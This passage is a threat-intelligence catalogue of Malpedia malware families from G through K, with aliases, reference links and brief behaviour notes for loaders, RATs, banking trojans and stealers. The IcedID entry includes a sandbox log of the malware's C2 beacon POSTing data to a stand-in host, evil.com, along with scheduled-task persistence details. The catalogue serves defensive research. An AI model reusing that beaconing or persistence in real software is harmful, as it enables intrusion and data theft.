Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer |
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html |
GEMCUTTER
According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn’t exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.
The tag is: misp-galaxy:malpedia="GEMCUTTER"
GEMCUTTER is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter |
GetMail
The tag is: misp-galaxy:malpedia="GetMail"
GetMail is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail |
GetMyPass
The tag is: misp-galaxy:malpedia="GetMyPass"
GetMyPass is also known as:
-
getmypos
Ghole
The tag is: misp-galaxy:malpedia="Ghole"
Ghole is also known as:
-
CoreImpact (Modified)
-
Gholee
Links |
https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ |
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf |
Gh0stnet
The tag is: misp-galaxy:malpedia="Gh0stnet"
Gh0stnet is also known as:
-
Remosh
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet |
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html |
GhostAdmin
The tag is: misp-galaxy:malpedia="GhostAdmin"
GhostAdmin is also known as:
-
Ghost iBot
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin |
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html |
Ghost RAT
The tag is: misp-galaxy:malpedia="Ghost RAT"
Ghost RAT is also known as:
-
Gh0st RAT
-
PCRat
Glasses
The tag is: misp-galaxy:malpedia="Glasses"
Glasses is also known as:
-
Wordpress Bruteforcer
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses |
GlassRAT
The tag is: misp-galaxy:malpedia="GlassRAT"
GlassRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat |
GlitchPOS
The tag is: misp-galaxy:malpedia="GlitchPOS"
GlitchPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos |
https://blog.talosintelligence.com/2019/03/glitchpos-new-pos-malware-for-sale.html |
GlobeImposter
The tag is: misp-galaxy:malpedia="GlobeImposter"
GlobeImposter is also known as:
Globe
The tag is: misp-galaxy:malpedia="Globe"
Globe is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom |
GlooxMail
The tag is: misp-galaxy:malpedia="GlooxMail"
GlooxMail is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail |
Glupteba
The tag is: misp-galaxy:malpedia="Glupteba"
Glupteba is also known as:
Godzilla Loader
The tag is: misp-galaxy:malpedia="Godzilla Loader"
Godzilla Loader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader |
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4349&p=28427#p28346 |
Goggles
The tag is: misp-galaxy:malpedia="Goggles"
Goggles is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles |
GoldenEye
The tag is: misp-galaxy:malpedia="GoldenEye"
GoldenEye is also known as:
-
Petya/Mischa
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye |
http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html |
GoldDragon
The tag is: misp-galaxy:malpedia="GoldDragon"
GoldDragon is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon |
Golroted
The tag is: misp-galaxy:malpedia="Golroted"
Golroted is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted |
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html |
Goodor
The tag is: misp-galaxy:malpedia="Goodor"
Goodor is also known as:
-
Fuerboos
Links |
GoogleDrive RAT
The tag is: misp-galaxy:malpedia="GoogleDrive RAT"
GoogleDrive RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat |
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf |
GooPic Drooper
The tag is: misp-galaxy:malpedia="GooPic Drooper"
GooPic Drooper is also known as:
Links |
GootKit
Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.
The tag is: misp-galaxy:malpedia="GootKit"
GootKit is also known as:
-
Xswkit
-
talalpek
GovRAT
The tag is: misp-galaxy:malpedia="GovRAT"
GovRAT is also known as:
Links |
Gozi
2000 Ursnif aka Snifula 2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) → 2010 Gozi Prinimalka → Vawtrak/Neverquest
In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.
In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module.
The tag is: misp-galaxy:malpedia="Gozi"
Gozi is also known as:
-
CRM
-
Gozi CRM
-
Papras
-
Snifula
-
Ursnif
GPCode
The tag is: misp-galaxy:malpedia="GPCode"
GPCode is also known as:
GrabBot
The tag is: misp-galaxy:malpedia="GrabBot"
GrabBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot |
http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data |
Graftor
The tag is: misp-galaxy:malpedia="Graftor"
Graftor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor |
http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html |
Grateful POS
POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.
The tag is: misp-galaxy:malpedia="Grateful POS"
Grateful POS is also known as:
-
FrameworkPOS
-
trinity
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos |
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html |
Gratem
The tag is: misp-galaxy:malpedia="Gratem"
Gratem is also known as:
Links |
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose |
Gravity RAT
The tag is: misp-galaxy:malpedia="Gravity RAT"
Gravity RAT is also known as:
GREASE
The tag is: misp-galaxy:malpedia="GREASE"
GREASE is also known as:
Links |
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/ |
GreenShaitan
The tag is: misp-galaxy:malpedia="GreenShaitan"
GreenShaitan is also known as:
-
eoehttp
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan |
GreyEnergy
The tag is: misp-galaxy:malpedia="GreyEnergy"
GreyEnergy is also known as:
GROK
The tag is: misp-galaxy:malpedia="GROK"
GROK is also known as:
Links |
https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf |
gsecdump
The tag is: misp-galaxy:malpedia="gsecdump"
gsecdump is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump |
H1N1 Loader
The tag is: misp-galaxy:malpedia="H1N1 Loader"
H1N1 Loader is also known as:
Links |
https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities |
Hacksfase
The tag is: misp-galaxy:malpedia="Hacksfase"
Hacksfase is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase |
HackSpy
Py2Exe based tool as found on github.
The tag is: misp-galaxy:malpedia="HackSpy"
HackSpy is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy |
Hamweq
The tag is: misp-galaxy:malpedia="Hamweq"
Hamweq is also known as:
Links |
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf |
Hancitor
The tag is: misp-galaxy:malpedia="Hancitor"
Hancitor is also known as:
-
Chanitor
HappyLocker (HiddenTear?)
The tag is: misp-galaxy:malpedia="HappyLocker (HiddenTear?)"
HappyLocker (HiddenTear?) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker |
Harnig
The tag is: misp-galaxy:malpedia="Harnig"
Harnig is also known as:
-
Piptea
Links |
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html |
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html |
Havex RAT
Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.
Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.
Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.
The tag is: misp-galaxy:malpedia="Havex RAT"
Havex RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat |
HawkEye Keylogger
The tag is: misp-galaxy:malpedia="HawkEye Keylogger"
HawkEye Keylogger is also known as:
-
HawkEye Reborn
-
Predator Pain
Helauto
The tag is: misp-galaxy:malpedia="Helauto"
Helauto is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto |
Helminth
The tag is: misp-galaxy:malpedia="Helminth"
Helminth is also known as:
Heloag
The tag is: misp-galaxy:malpedia="Heloag"
Heloag is also known as:
Links |
https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/ |
https://www.arbornetworks.com/blog/asert/trojan-heloag-downloader-analysis/ |
Herbst
The tag is: misp-galaxy:malpedia="Herbst"
Herbst is also known as:
Links |
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware |
Heriplor
The tag is: misp-galaxy:malpedia="Heriplor"
Heriplor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor |
https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html |
Hermes
The tag is: misp-galaxy:malpedia="Hermes"
Hermes is also known as:
Links |
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html |
Hermes Ransomware
The tag is: misp-galaxy:malpedia="Hermes Ransomware"
Hermes Ransomware is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom |
HerpesBot
The tag is: misp-galaxy:malpedia="HerpesBot"
HerpesBot is also known as:
Links |
HesperBot
The tag is: misp-galaxy:malpedia="HesperBot"
HesperBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot |
HiddenTear
The tag is: misp-galaxy:malpedia="HiddenTear"
HiddenTear is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear |
HideDRV
The tag is: misp-galaxy:malpedia="HideDRV"
HideDRV is also known as:
HiKit
The tag is: misp-galaxy:malpedia="HiKit"
HiKit is also known as:
Links |
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware |
himan
The tag is: misp-galaxy:malpedia="himan"
himan is also known as:
Links |
https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf |
Hi-Zor RAT
The tag is: misp-galaxy:malpedia="Hi-Zor RAT"
Hi-Zor RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat |
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat |
HLUX
The tag is: misp-galaxy:malpedia="HLUX"
HLUX is also known as:
Links |
homefry
a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with XOR x56. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session.
The tag is: misp-galaxy:malpedia="homefry"
homefry is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry |
HOPLIGHT
The tag is: misp-galaxy:malpedia="HOPLIGHT"
HOPLIGHT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hoplight |
HtBot
The tag is: misp-galaxy:malpedia="HtBot"
HtBot is also known as:
Links |
htpRAT
The tag is: misp-galaxy:malpedia="htpRAT"
htpRAT is also known as:
Links |
HTran
The tag is: misp-galaxy:malpedia="HTran"
HTran is also known as:
-
HUC Packet Transmit Tool
Links |
HttpBrowser
The tag is: misp-galaxy:malpedia="HttpBrowser"
HttpBrowser is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser |
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/ |
httpdropper
The tag is: misp-galaxy:malpedia="httpdropper"
httpdropper is also known as:
-
httpdr0pper
http_troy
The tag is: misp-galaxy:malpedia="http_troy"
http_troy is also known as:
Hworm
The tag is: misp-galaxy:malpedia="Hworm"
Hworm is also known as:
-
houdini
Links |
HyperBro
The tag is: misp-galaxy:malpedia="HyperBro"
HyperBro is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro |
https://securelist.com/luckymouse-hits-national-data-center/86083/ |
IcedID
Analysis Observations:
-
It sets up persistence by creating a Scheduled Task with the following characteristics:
-
Name: Update
-
Trigger: At Log on
-
Action: %LocalAppData%\$Example\\waroupada.exe /i
-
Conditions: Stop if the computer ceases to be idle.
-
The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
-
The filename remained static during analysis.
-
The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
-
If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
-
If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
-
Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
-
Setup a local listener to proxy traffic on 127.0.0.1:50000
[Example Log from C2 Network Communication] [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
The tag is: misp-galaxy:malpedia="IcedID"
IcedID is also known as:
-
BokBot
IcedID Downloader
The tag is: misp-galaxy:malpedia="IcedID Downloader"
IcedID Downloader is also known as:
Icefog
The tag is: misp-galaxy:malpedia="Icefog"
Icefog is also known as:
Links |
Ice IX
The tag is: misp-galaxy:malpedia="Ice IX"
Ice IX is also known as:
IDKEY
The tag is: misp-galaxy:malpedia="IDKEY"
IDKEY is also known as:
Links |
IISniff
The tag is: misp-galaxy:malpedia="IISniff"
IISniff is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff |
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/ |
Imecab
The tag is: misp-galaxy:malpedia="Imecab"
Imecab is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east |
Imminent Monitor RAT
The tag is: misp-galaxy:malpedia="Imminent Monitor RAT"
Imminent Monitor RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat |
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/ |
Infy
The tag is: misp-galaxy:malpedia="Infy"
Infy is also known as:
-
Foudre
InnaputRAT
InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.
The tag is: misp-galaxy:malpedia="InnaputRAT"
InnaputRAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat |
InvisiMole
The tag is: misp-galaxy:malpedia="InvisiMole"
InvisiMole is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole |
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/ |
IRONHALO
IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path. The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.
The tag is: misp-galaxy:malpedia="IRONHALO"
IRONHALO is also known as:
ISFB
2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)
In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.
The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.
There is one panel which often was used in combination with ISFB: IAP. The panel’s login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.
ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.
In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.
See win.gozi for additional historical information.
The tag is: misp-galaxy:malpedia="ISFB"
ISFB is also known as:
-
Gozi ISFB
-
IAP
-
Pandemyia
ISMAgent
The tag is: misp-galaxy:malpedia="ISMAgent"
ISMAgent is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent |
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/ |
ISMDoor
The tag is: misp-galaxy:malpedia="ISMDoor"
ISMDoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor |
iSpy Keylogger
The tag is: misp-galaxy:malpedia="iSpy Keylogger"
iSpy Keylogger is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger |
IsraBye
The tag is: misp-galaxy:malpedia="IsraBye"
IsraBye is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye |
https://twitter.com/malwrhunterteam/status/1085162243795369984 |
ISR Stealer
ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.
Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public
The tag is: misp-galaxy:malpedia="ISR Stealer"
ISR Stealer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer |
IsSpace
The tag is: misp-galaxy:malpedia="IsSpace"
IsSpace is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace |
JackPOS
The tag is: misp-galaxy:malpedia="JackPOS"
JackPOS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos |
https://www.trustwave.com/Resources/SpiderLabs-Blog/JackPOS-%E2%80%93-The-House-Always-Wins/ |
Jaff
The tag is: misp-galaxy:malpedia="Jaff"
Jaff is also known as:
Links |
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html |
Jager Decryptor
The tag is: misp-galaxy:malpedia="Jager Decryptor"
Jager Decryptor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor |
Jaku
The tag is: misp-galaxy:malpedia="Jaku"
Jaku is also known as:
-
C3PRO-RACOON
-
KCNA Infostealer
-
Reconcyc
Links |
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/ |
Jasus
The tag is: misp-galaxy:malpedia="Jasus"
Jasus is also known as:
Links |
JCry
Ransomware written in Go.
The tag is: misp-galaxy:malpedia="JCry"
JCry is also known as:
Links |
Jigsaw
The tag is: misp-galaxy:malpedia="Jigsaw"
Jigsaw is also known as:
Links |
Jimmy
The tag is: misp-galaxy:malpedia="Jimmy"
Jimmy is also known as:
Links |
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/ |
Joanap
The tag is: misp-galaxy:malpedia="Joanap"
Joanap is also known as:
Links |
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/ |
Joao
The tag is: misp-galaxy:malpedia="Joao"
Joao is also known as:
Links |
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/ |
Jolob
The tag is: misp-galaxy:malpedia="Jolob"
Jolob is also known as:
Links |
JQJSNICKER
The tag is: misp-galaxy:malpedia="JQJSNICKER"
JQJSNICKER is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker |
JripBot
The tag is: misp-galaxy:malpedia="JripBot"
JripBot is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot |
KAgent
The tag is: misp-galaxy:malpedia="KAgent"
KAgent is also known as:
Links |
Karagany
The tag is: misp-galaxy:malpedia="Karagany"
Karagany is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany |
Kardon Loader
According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.
The tag is: misp-galaxy:malpedia="Kardon Loader"
Kardon Loader is also known as:
Karius
According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.
It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.
Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.
In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.
The tag is: misp-galaxy:malpedia="Karius"
Karius is also known as:
Links |
https://research.checkpoint.com/banking-trojans-development/ |
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/ |
Karkoff
The tag is: misp-galaxy:malpedia="Karkoff"
Karkoff is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.karkoff |
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html |
KasperAgent
The tag is: misp-galaxy:malpedia="KasperAgent"
KasperAgent is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent |
https://www.threatconnect.com/blog/kasperagent-malware-campaign/ |
Kazuar
The tag is: misp-galaxy:malpedia="Kazuar"
Kazuar is also known as:
Links |
Kegotip
The tag is: misp-galaxy:malpedia="Kegotip"
Kegotip is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kegotip |
Kelihos
The tag is: misp-galaxy:malpedia="Kelihos"
Kelihos is also known as:
KerrDown
The tag is: misp-galaxy:malpedia="KerrDown"
KerrDown is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown |
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/ |
KeyBase
KeyBase is a .NET credential stealer and keylogger that first emerged in February 2015. It often incorporates Nirsoft tools such as MailPassView and WebBrowserPassView for additional credential grabbing.
The tag is: misp-galaxy:malpedia="KeyBase"
KeyBase is also known as:
-
Kibex
KeyBoy
The tag is: misp-galaxy:malpedia="KeyBoy"
KeyBoy is also known as:
-
TSSL
APT3 Keylogger
The tag is: misp-galaxy:malpedia="APT3 Keylogger"
APT3 Keylogger is also known as:
KEYMARBLE
The tag is: misp-galaxy:malpedia="KEYMARBLE"
KEYMARBLE is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble |
https://research.checkpoint.com/north-korea-turns-against-russian-targets/ |
KHRAT
The tag is: misp-galaxy:malpedia="KHRAT"
KHRAT is also known as:
Links |
Kikothac
The tag is: misp-galaxy:malpedia="Kikothac"
Kikothac is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac |
https://www.group-ib.com/resources/threat-research/silence.html |
KillDisk
The tag is: misp-galaxy:malpedia="KillDisk"
KillDisk is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
KINS
The tag is: misp-galaxy:malpedia="KINS"
KINS is also known as:
-
Kasper Internet Non-Security
-
Maple
KleptoParasite Stealer
KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.
PDB-strings suggest a relationship to JogLog v6 and v7.
The tag is: misp-galaxy:malpedia="KleptoParasite Stealer"
KleptoParasite Stealer is also known as:
-
Joglog
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer |
KLRD
The tag is: misp-galaxy:malpedia="KLRD"
KLRD is also known as:
Links |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html |
Koadic
The tag is: misp-galaxy:malpedia="Koadic"
Koadic is also known as:
Links |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
KokoKrypt
